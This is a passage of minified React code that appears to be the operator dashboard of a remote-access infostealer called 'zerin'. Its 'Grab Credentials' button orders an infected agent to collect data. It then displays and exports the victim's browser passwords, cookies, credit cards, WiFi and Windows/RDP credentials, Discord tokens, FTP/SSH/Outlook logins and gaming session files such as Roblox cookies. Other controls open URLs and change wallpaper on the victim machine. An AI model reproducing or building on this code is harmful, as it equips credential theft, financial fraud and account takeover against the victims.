mb-1",children:"URL"}),a.jsx("input",{type:"text",value:S,onChange:H=>O(H.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),a.jsx(sc,{onCancel:()=>z(!1),onSend:fe,color:"#06b6d4",disabled:!S.trim()||S==="https://"})]}),A&&a.jsxs(ac,{title:"Change Wallpaper",color:"#10b981",onClose:()=>T(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),a.jsx("input",{type:"text",value:P,onChange:H=>D(H.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),a.jsx(sc,{onCancel:()=>T(!1),onSend:ve,color:"#10b981",disabled:!P.trim()})]})]})}function Xs({icon:e,label:t,desc:n,color:r,onClick:i}){return a.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:s=>{s.currentTarget.style.background=`${r}08`,s.currentTarget.style.borderLeft=`2px solid ${r}40`,s.currentTarget.style.paddingLeft="10px"},onMouseLeave:s=>{s.currentTarget.style.background="transparent",s.currentTarget.style.borderLeft="none",s.currentTarget.style.paddingLeft="12px"},children:[a.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:a.jsx("div",{style:{color:`${r}cc`},children:e})}),a.jsxs("div",{className:"min-w-0",children:[a.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),a.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function ac({title:e,color:t,onClose:n,children:r}){return a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:a.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[a.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),a.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),a.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function sc({onCancel:e,onSend:t,color:n,disabled:r}){return a.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[a.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r + hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r + disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function Ri({label:e,active:t,color:n,onToggle:r,invert:i}){const s=t;return a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),a.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:s?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${s?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:a.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:s?"18px":"2px",background:s?n:"#ef4444",boxShadow:`0 0 6px ${s?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function aV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function sV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function oV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function lV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function cV(){return a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[a.jsx("circle",{cx:"12",cy:"12",r:"9"}),a.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function uV({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var k,z,S,O,A,T,P,D,G,R,K,_,M,F,U,V,Z,ae,ue,be,ye,q,te,C,Y,ne,B,le,we,Ne,Ae,$,fe,ve,H,se,W,Q,he,E,ce,J,xe,ke,ze;const[i,s]=m.useState(null),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(new Set),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useRef(!1);m.useEffect(()=>{n&&!x.current&&!p&&(x.current=!0,y(),r==null||r())},[n]);const g=X=>{f(re=>{const oe=new Set(re);return oe.has(X)?oe.delete(X):oe.add(X),oe})},y=m.useCallback(async()=>{if(!p){l(!0),u(""),s(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:X}=await Me(e,{command:"creds"});let re=0;h.current=setInterval(async()=>{var oe,Oe,et,L,ie,de,lt,Ct,Lt,gr,Qr,Li,As;re++;try{const Jr=(oe=(await Xn(e)).results)==null?void 0:oe.find(bt=>bt.task_id===X);if(Jr){if(h.current&&clearInterval(h.current),h.current=null,l(!1),Jr.error){u(Jr.error);return}if(Jr.output)try{const bt=JSON.parse(Jr.output);s(bt);const rn=new Set;(Oe=bt.chrome_passwords)!=null&&Oe.length&&rn.add("chrome_passwords"),(et=bt.firefox_passwords)!=null&&et.length&&rn.add("firefox_passwords"),(L=bt.wifi)!=null&&L.length&&rn.add("wifi"),(ie=bt.windows_credentials)!=null&&ie.length&&rn.add("windows_credentials"),(de=bt.discord_tokens)!=null&&de.length&&rn.add("discord_tokens"),(lt=bt.wallets)!=null&<.length&&rn.add("wallets"),(Ct=bt.vpn)!=null&&Ct.length&&rn.add("vpn"),((Lt=bt.steam)!=null&&Lt.found||(gr=bt.epic)!=null&&gr.found||(Qr=bt.minecraft)!=null&&Qr.length||(Li=bt.roblox)!=null&&Li.found)&&rn.add("gaming"),(As=bt.errors)!=null&&As.length&&rn.add("errors"),f(rn)}catch{u("Failed to parse credential data")}}else re>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(X){l(!1),u(X instanceof Error?X.message:"Failed to submit task")}}},[e,p]),[v,b]=m.useState(null),w=(X,re)=>{navigator.clipboard.writeText(X).then(()=>{const oe=re?re.clientX:window.innerWidth/2,Oe=re?re.clientY-30:window.innerHeight/2;b({text:"Copied!",x:oe,y:Oe}),setTimeout(()=>b(null),1200)}).catch(()=>{})},j=(X,re)=>{try{const oe=atob(X),Oe=new Uint8Array(oe.length);for(let de=0;de{if(!i)return;const X=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),re=URL.createObjectURL(X),oe=document.createElement("a");oe.href=re,oe.download=`credentials_${e.slice(0,8)}.json`,oe.click(),URL.revokeObjectURL(re)};return a.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:y,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium\r + bg-zerin-accent hover:bg-zerin-accent-hover text-white\r + px-4 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:o?a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&a.jsxs("button",{onClick:N,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&a.jsxs("div",{className:"space-y-2",children:[a.jsx(Rn,{title:"Browser Passwords",count:(((k=i.chrome_passwords)==null?void 0:k.length)??0)+(((z=i.firefox_passwords)==null?void 0:z.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:X.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.username,oe),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})]})}),a.jsx(Rn,{title:"Browser Cookies",count:((S=i.chrome_cookies)==null?void 0:S.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(O=i.chrome_cookies)!=null&&O.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.value,oe),children:[X.value.slice(0,40),"..."]})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx(Rn,{title:"Credit Cards",count:((A=i.chrome_cards)==null?void 0:A.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(T=i.chrome_cards)!=null&&T.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:X.name}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.number,oe),children:X.number}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.exp})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),a.jsx(Rn,{title:"WiFi Passwords",count:((P=i.wifi)==null?void 0:P.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(D=i.wifi)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:X.ssid}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.auth}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password||"(none)"})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),a.jsx(Rn,{title:"Windows Credentials",count:((G=i.windows_credentials)==null?void 0:G.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(R=i.windows_credentials)!=null&&R.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((X,re)=>a.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${X.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[X.is_rdp&&a.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),X.target]}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.username,oe),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.type})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),a.jsx(Rn,{title:"Discord Tokens",count:((K=i.discord_tokens)==null?void 0:K.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(_=i.discord_tokens)!=null&&_.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.discord_tokens.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.source}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.type}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:oe=>w(X.token,oe),children:[X.token.slice(0,20),"..."]})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),a.jsx(Rn,{title:"Applications",count:((M=i.telegram)!=null&&M.found?1:0)+(((F=i.filezilla)==null?void 0:F.length)??0)+(((U=i.winscp)==null?void 0:U.length)??0)+(((V=i.putty)==null?void 0:V.length)??0)+(((Z=i.outlook)==null?void 0:Z.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?a.jsxs("div",{children:[a.jsxs("p",{className:"text-xs text-zerin-text font-mono mb-1",children:["Found at: ",a.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:X=>w(i.telegram.path,X),children:i.telegram.path})]}),(((ae=i.telegram.files)==null?void 0:ae.length)??0)>0&&a.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:i.telegram.files.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},re))})]}):a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),(((ue=i.filezilla)==null?void 0:ue.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})})]}),(((be=i.winscp)==null?void 0:be.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})})]}),(((ye=i.putty)==null?void 0:ye.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:X.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user})]},re))})})]}),(((q=i.outlook)==null?void 0:q.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})})]}),!((te=i.telegram)!=null&&te.found)&&!((C=i.filezilla)!=null&&C.length)&&!((Y=i.winscp)!=null&&Y.length)&&!((ne=i.putty)!=null&&ne.length)&&!((B=i.outlook)!=null&&B.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx(Rn,{title:"Gaming Sessions",count:((le=i.steam)!=null&&le.found?1:0)+((we=i.epic)!=null&&we.found?1:0)+(((Ne=i.minecraft)==null?void 0:Ne.length)??0)+((Ae=i.roblox)!=null&&Ae.found?1:0),expanded:d.has("gaming"),onToggle:()=>g("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[(($=i.steam)==null?void 0:$.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:a.jsx("span",{className:"text-blue-400",children:"Steam"})}),a.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[i.steam.loginusers&&a.jsxs("button",{onClick:()=>j(i.steam.loginusers,"loginusers.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"loginusers.vdf"]}),i.steam.config&&a.jsxs("button",{onClick:()=>j(i.steam.config,"config.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"config.vdf"]}),(fe=i.steam.ssfn_files)==null?void 0:fe.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},re))]})]}),((ve=i.epic)==null?void 0:ve.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),a.jsxs("button",{onClick:()=>j(i.epic.config,"GameUserSettings.ini"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"GameUserSettings.ini"]})]}),(((H=i.minecraft)==null?void 0:H.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",i.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:i.minecraft.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,`${X.launcher}_accounts.json`),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.launcher]},re))})]}),((se=i.roblox)==null?void 0:se.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),i.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:X=>w(i.roblox.cookie,X),children:[".ROBLOSECURITY: 